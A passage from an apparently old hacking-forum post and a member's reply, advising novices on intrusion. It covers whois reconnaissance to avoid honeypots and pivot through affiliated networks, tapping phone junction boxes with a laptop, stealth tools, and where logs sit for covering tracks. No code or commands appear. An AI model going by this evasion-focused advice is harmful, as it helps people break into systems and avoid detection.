7) <strong class='bbc'><span class='bbc_underline'>Examine whois and other relevant records to determine the owners of the target.</span></strong> You might undercover a very well placed law-enforcement honeypot this way. LE *sometimes* doesn't set up their domains and such well ahead of time and so you might uncover a trail to point to the *real* owner or a lack of trail indicating you should be cautious. Additionally examining the whole 'paper trail' may lead you to other networks the target is affiliated with. Some of those may have an easier way in and a route to a backdoor on your original target. Mandmins feel a false sense of security behind their own firewalls and leave open access between various subnets inside. This is a weapon to exploit whenever possible. However without proper safety procedures you can be nailed very easily as you may be logged from many different directions behind the firewall.<br />
<br />
8)<strong class='bbc'><span class='bbc_underline'>Hardware...What do you need?</span></strong> My recommendation is to get the smallest, lightest, tiniest laptop avalable. Sony had a tiny one that ran Win/ME, JVC has a couple small ones that they just released recently. Also you'll need various cords: phone, ethernet, USB, etc. You'll also need a phone cord for your modem that terminates in tiny alligator clips. This is to use a junction box directly to get phone service in a quiet place. The PC should have the following ports: ethernet, wireless, bluetooth, 56kb modem and USB. The idea is that everything fits into oversized coat pockets or a ditty bag under your coat. Right now carrying a tiny computer is still not a crime ( like burglar tools), but give the feds a chance. Carry a computer - go to jail.<br />
<br />
9) <strong class='bbc'><span class='bbc_underline'>Software ...What do you need?</span></strong> My recommendation is Linux with a hand-picked assortment of tools: scanners, sniffers, assembler, compilers and reference data on HDD. I won't go into much detail as the choice of tools is a very personal thing. Over the last 10 years or so I've been unhappy with the readily available tools and have used the available source of several to create my own versions. As you progress and are more concerned with doing an 'invisible' hack and not being noticed, you'll undoubtedly do the same. I also hesitate to recommend any of the readily bavailable tools just because of my dissatisfaction with them. While some are quite good, many do not lend themselves to stealth techniques. And last....<br />
<br />
10) <strong class='bbc'><span class='bbc_underline'>Ethics...Ah DAMN!</span></strong> The old fart is getting on his soapbox again. Well perhaps, but you'd do well to at least read what I have to say and *consider* my words. After all I've done more exploits than most of you put together and I still have my freedom. I must be doing something right.<br />
<br />
10-A ) <strong class='bbc'><span class='bbc_underline'>Don't do the crime if you can't do the time.</span></strong> By this I mean for you to understand that if you attempt an exploit against a machine that you do not have rights to -- you are breaking the law. Be a man (or woman) and be prepared to accept your punishment. Nobody told you to go out and hack, in fact I tell you not to do it. Most of you are just not capable of the attention to detail, nor do most of you posess the requisite knowledge at this time. Yes, there are exceptions to what I'm saying, however I'm writing this for n00bs, not the experienced/educated.<br />
<br />
10-B ) <strong class='bbc'>T<span class='bbc_underline'>he benefit of your actions must outweigh the risk.</span></strong> -- By this I mean to take a good, hard look at REALITY. What is the punishment if you get caught? Is it worth getting caught and suffering the punishment for what I get out of doing the deed? If you're stealing millions of dollars online -- well 20 to life is about the standard risk for grand theft. But if you're just screwing with your buddy...is that worth getting caught and convicted of a felony? Remember if you are a convicted felon - no guns - no voting - no *many* things.<br />
<br />
10-C ) <strong class='bbc'><span class='bbc_underline'>Knowledge is Power and Information is Wealth.</span></strong> If I have to explain this one - you're pretty dense.<br />
<br />
10-D ) <strong class='bbc'><span class='bbc_underline'>TANSTAAFL -- This is an anagram -- There Ain't No Such Thing As A Free Lunch.</span></strong> This basically means that you don't get something for nothing. The hacker's version of <strong class='bbc'>Newton</strong>'s law of conservation of energy. If that target seems too good to be true - it's probably a trap. Watch you back, examine everyone's motives. You're wandering into the hacker community, keep your wits about you, not everyone nor everything is what it seems. After you've done all this then it MIGHT be safe to run that exploit. But it might not -- there are other checks that I go through, but I'm sure you get the idea. If all this seems like too much trouble and there must be an easier way -- you're right. Just log on from home, crank up xscan and find a vulnerable PC and perform that exploit. But have some snacks and drinks ready, sooner or later you'll get some visitors.<br />
<br />
--- <em class='bbc'>A reply by a member</em><br />
<br />
1.what flavor of linux do you prefer for the tasks you presented us in your article ? There are LOTS and LOTS of linux distro's. Though, they all work the same, so the one you use to preform the task is up to you. Some distro's are easy to setup and use (like mandrake, www.mandrake.org), others are really customisable and/or faster but they are a lot harder to install (like gentoo, www.gentoo.org). Personally I prefer gentoo. Though, for the real experts, to have FULL control on your computer, LFS (LinuxFromScratch, www.linuxfromscratch.org) is probably best. As you may have noticed, almost every distro's have www.theirname.org as website. though some sites will link to the real sites (like mandrake). One exception is redhat, which is .com. So just try www.thedistroname.org or if it doesnt exist www.thedistroname.com. Otherwise try google. <br />
2. the proggys for the newbies. is very important to start playing with the tools of the trade, and as easy as it seems for the people here that knows how to hack it would be nice to post at least the names of the prefered software a hakcer must use, so we the nbies can google it, or even better post (again) the link. Like Daremo said specifically, you should NEVER use a tool before you have enough knowledge. I don't have enough knowledge to use tools but I do. This highly increases my chances on getting caught. And like Daremo said, if you really want to hack you should program your own tools. Then you exactly know how they work and you can make it as obsecure as possible. Most of these tools wont be released, so there are only few. An example of a tool which can do a bit unobtrusive scanning is nmap (dont know the website), but still its not unobtrusive enough. And, why the hell would you want to port scan if you do not have enough knowledge to know what to do after the portscan? <br />
3.when are you gonna write a tutorial for C the way you did for assemble? There are lots of tutorials for C. And good ones, too. Just look around here (ebooks, programming) and read them. And he isnt done yet with the assembler one.... is he? <br />
4. now how you delete your tracks? where are the logs in the operating systems? Most targets for a hacker a linux boxes. Linux is -- unlike windows -- customisable. You can set the places of the logs yourself. I think even windows can do it. Though most of the times the logs will be in /var/log/. In windows I don't remember where they are. I believe somewhere like "%WINDOWSDIR%/system32/logfiles/" or "%WINDOWSDIR%/system/logfiles/" or so. Im not sure. But again, I think this can, even in windows, be changed.[/b]]]></description>
		<pubDate>Wed, 23 Jun 2010 16:46:39 +0000</pubDate>
		<guid isPermaLink="false">1f0e3dad99908345f7439f8ffabdffc4</guid>
	</item>
</channel>
</rss>
